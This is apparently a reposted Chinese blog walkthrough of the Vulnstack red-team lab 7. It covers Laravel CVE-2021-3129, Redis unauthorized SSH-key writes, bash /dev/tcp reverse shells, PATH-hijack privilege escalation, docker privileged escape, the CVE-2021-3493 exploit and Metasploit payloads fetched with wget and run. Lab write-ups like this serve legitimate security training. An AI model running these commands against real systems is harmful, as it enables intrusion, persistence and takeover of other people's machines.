ATT&CK實戰系列——紅隊實戰(七)


一、環境搭建

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 假設滲透的目標客戶只給出了一個域名 www.whopen.com,我們要在黑盒的情況下對目標網絡進行滲透,最終需要拿下域控制器權限

 

按照下載地址的說明配置網絡環境和服務,打不開的主機點擊虛擬機->管理->更改硬件兼容性

  • DMZ區域

Ubuntu(Web 1)配置了兩個網卡,一個橋接可以對外提供服務,IP段設為 192.168.43.0/24,一個連接在 VMnet8 上,設為NAT模式,IP段設為 192.168.52.0/24 連通第二層網絡

  • 第二層網絡區域

Ubuntu(Web 2)和 Windows 7(PC 1)都配置了兩個網卡,一個連接在 VMnet8 上連通第二層網絡,一個連接在 VMnet14 上,設為僅主機模式,IP段設為 192.168.93.0/24 連通第三層網絡

  • 第三層網絡區域

Windows Server 2012 和 Windows 7(PC 2)都只配置了一個網卡,連接在 VMnet14 上連通第三層網絡

 

二、漏洞利用

2.1CVE-2021-3129

www.whopen.com 域名對應的 ip 地址為 192.168.43.229,直接訪問發現是一個博客頁面

 

對目標 ip 進行端口掃描,開放 22,80,81,6379 端口

nmap -sV -T4 192.168.43.229 -p 1-65535

 

81 端口是 Laravel v8.29.0(一個簡潔、開源的 PHP Web 開發框架)

 

這個版本有遠程代碼執行漏洞,可以這里直接使用工具 getshell,工具下載地址 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

 

哥斯拉 v2.92 成功連接(v3.03 不知道什么原因連接不上,顯示初始化失敗),但是無法反彈 shell,先嘗試從其他地方入手

 

2.2redis未授權訪問

端口掃描時發現該機器開着 6379 端口,嘗試 redis 未授權訪問漏洞

#安裝
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo cp src/redis-cli /usr/local/bin/
#連接
redis-cli -h 192.168.43.229

 

嘗試寫入 ssh 公鑰

#生成公鑰
ssh-keygen -t rsa
#將公鑰導入1.txt文件
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt 
#把1.txt文件內容寫入目標主機的redis緩沖中
cat 1.txt | redis-cli -h 192.168.43.229 -p 6379 -x set hello

 

config set dir /root/.ssh                #設置redis的備份路徑為/root/.ssh/
config set dbfilename authorized_keys    #設置保存文件名為authorized_keys
save                                     #將數據保存在目標服務器硬盤上
ssh 192.168.43.229                       #連接                    

 

成功連接 192.168.43.229 后,進行信息搜集發現了這台主機的內網 ip 地址 192.168.52.10

 

因為 Laravel 的 shell 反彈不了,所以查看 nginx 的配置文件,發現了 nginx 反向代理的標志 proxy_pass。ubuntu 18(192.168.52.10)服務器上的 nginx 將 81 端口收到的請求轉發給了 192.168.52.20,將 80 端口收到的請求轉發給了 http://whoamianony.top

 

所以 81 端口的 shell 反彈不到攻擊機,只能使用 ubuntu 18(192.168.52.10)做為跳板機,先將 Laravel 的 shell(192.168.52.20)反彈到 ubuntu 18

nc -lvp 1234
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

 

 

2.3linux環境變量提權

當前用戶為 www-data,所以嘗試提權(可能是 docker 環境的原因,內核提權失敗),枚舉具有SUID權限的所有二進制文件,發現 /home/jobs/shell 文件比較特別

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

 

demo.c 應該是 shell 文件的源碼,該腳本執行了 ps 命令且並未使用絕對路徑

 

那么嘗試更改$PATH來執行惡意程序,從而獲得目標主機的 root 權限 shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH #將/tmp添加到環境變量中,並且先加載執行/tmp里的程序
cd /home/jobs
./shell

 

2.4docker特權模式逃逸

  • 特權模式於版本 0.6 時被引入 docker,允許容器內的 root 擁有外部物理機 root 權限,而此前容器內 root 用戶僅擁有外部物理機普通用戶權限
  • 使用特權模式啟動容器,可以獲取大量設備文件訪問權限。因為當管理員執行 docker run —privileged 時,docker 容器將被允許訪問主機上的所有設備,並可以執行 mount 命令進行掛載
  • 當控制使用特權模式啟動的容器時,docker 管理員可通過 mount 命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計划任務等方式在宿主機執行命令

把 Laravel 的高權限 shell(192.168.52.20)再反彈到 ubuntu 18(192.168.52.10)中,看到主機名有點奇怪,測試一下發現 shell 運行在 docker 容器中,所以要進行 docker 逃逸

nc -lvp 4321
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/4321 0>&1'
hostname
cat /proc/self/cgroup

 

首先查看一下磁盤文件和設備文件,發現有三個磁盤文件和很多個設備文件,將 /dev/sda1 掛載到自己創建的文件夾

fdisk -l     #查看磁盤文件
ls /dev      #查看設備文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello

 

掛載成功了,查看 home 目錄有 ubuntu 用戶

 

接下來生成自己的 ssh 密鑰(192.168.52.10)

 

將密鑰寫入到 /hello/home/ubuntu/.ssh 目錄中的 authorized_keys 文件中,寫入成功之后就可以使用該密鑰登陸該機器(192.168.52.20)

cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys  #-avx將權限也一起復制
echo > /hello/home/ubuntu/.ssh/authorized_keys                                  #清空authorized_keys文件
echo '生成的.pub文件的內容即hello.pub' > /hello/home/ubuntu/.ssh/authorized_keys       #將ssh秘鑰寫入authorized_keys文件
cat /hello/home/ubuntu/.ssh/authorized_keys                                         #查看是否寫入成功

 

 

成功在 ubuntu 18(192.168.52.10)登錄 192.168.52.20 服務器,搜集信息發現這台機器還存在 192.168.93.0/24 網段

ssh -i hello ubuntu@192.168.52.20   #指定本地密鑰登錄

 

2.5CVE-2021-3493

當前登錄用戶是 ubuntu,查看系統信息,發現服務器在 cve-2021-3493 內核提權漏洞影響版本內,漏洞利用 exp 下載地址:https://github.com/briskets/CVE-2021-3493

漏洞影響版本:

  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM

 

編譯運行 exp 提權

cd /tmp
vim exploit.c             #將下載的exploit.c內容粘貼到該文件中
gcc exploit.c -o exploit
chmod +x exploit
./exploit

 

三、內網滲透

3.1metasploit上線

接下來將 192.168.52.10 和 192.168.52.20 兩台服務器上線 msf 進行內網滲透,首先使用 msf 的 web_delivery 模塊使 192.168.52.10 服務器上線

use exploit/multi/script/web_delivery
show targets
set target 6                   #Linux
show payloads
set payload 7                  #linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.203
run

 

先給這台服務器添加 192.168.52.0/24 網段的路由,再生成一個木馬並上傳。在這台服務器上使用 python3 開啟一個臨時 http 服務供木馬遠程下載,再令 192.168.52.20 服務器訪問 192.168.52.10 的 http 服務,下載並運行此木馬,192.168.52.20 服務器成功上線

#meterpreter終端
run autoroute -s 192.168.52.0/24                            #添加路由
run autoroute -p
background
msfvenom -p linux/x64/meterpreter/reverse_tcp lport=5555 -f elf -o shell.elf  #生成木馬
sessions 1
upload /home/kali/shell.elf /tmp/shell.elf                       #上傳木馬
background
use exploit/multi/handler                                 
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.203
set lport 5555
run
#192.168.52.10終端
python3 -m http.server                                    
#192.168.52.20終端
wget http://192.168.52.10:8000/shell.elf;chmod +x shell.elf;./shell.elf  

 

3.2內網存活主機掃描

首先掃描一下第二層網絡(192.168.52.0/24)是否有存活 windows 主機

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run

 

發現第二層網絡中還有一個 ip 為 192.168.52.30 的主機,掛 socks4 代理,進一步掃描該主機信息

use auxiliary/server/socks4a
set srvport 1080
run
proxychains nmap -sV -T4 192.168.52.30

 

站在上帝視角來看,這台服務器的 8080 端口有一個通達OA V11.3的,我在這篇博客 https://www.cnblogs.com/wkzb/p/13773055.html 復現過相關的漏洞,這里不再實驗了,看了一下 wp 接下來的內網永恆之藍漏洞和抓密碼哈希傳遞攻擊都比較熟悉了,這個靶場就先到這里吧

 

 

四、總結

session 斷了好多次,重連到絕望,有沒有什么方式能穩固一點呢,感謝作者的開源靶場和其他大佬的博客,學到了新知識,給師傅們鞠躬

 

 

 

參考文章:

https://www.freebuf.com/articles/network/264560.html

https://xz.aliyun.com/t/9574

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM